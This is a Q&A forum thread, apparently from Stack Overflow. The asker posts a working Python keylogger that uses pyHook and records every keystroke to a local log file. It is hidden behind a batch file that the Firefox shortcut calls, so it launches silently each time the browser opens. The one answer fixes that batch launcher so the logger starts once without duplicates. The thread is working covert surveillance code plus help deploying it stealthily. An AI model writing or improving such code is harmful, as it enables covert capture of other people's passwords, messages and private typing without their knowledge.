0

I made a simple Python keylogging program following this guy's tutorial. The .pyw file is below:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python27\\logger.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

It subtly runs when I use firefox because the firefox shortcut calls a batch file which contains:

@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work

start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

My problem is that, if I run firefox more than once (which happens often), this script runs again and repeats itself, so I get these kind of results in the logging text file.

g
g
o
o
o
o
g
g
l
l
e
e

I need some if condition which doesn't allow this script to run if it's already running.

khaverim
  • 3,386
  • 5
  • 36
  • 46
  • here's a post on how to check if a process is running via batch script http://stackoverflow.com/questions/162291/how-to-check-if-a-process-is-running-via-a-batch-script maybe that will help some – alex May 12 '14 at 18:47
  • 3
    see: http://stackoverflow.com/questions/489861/locking-a-file-in-python – Red Alert May 12 '14 at 19:00

1 Answers1

0

try this:

@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"

Edit: fixed the for loop

Alex
  • 917
  • 5
  • 11
  • Try to give your python script a title and replace the `keylogger` with that title string – Alex May 12 '14 at 20:19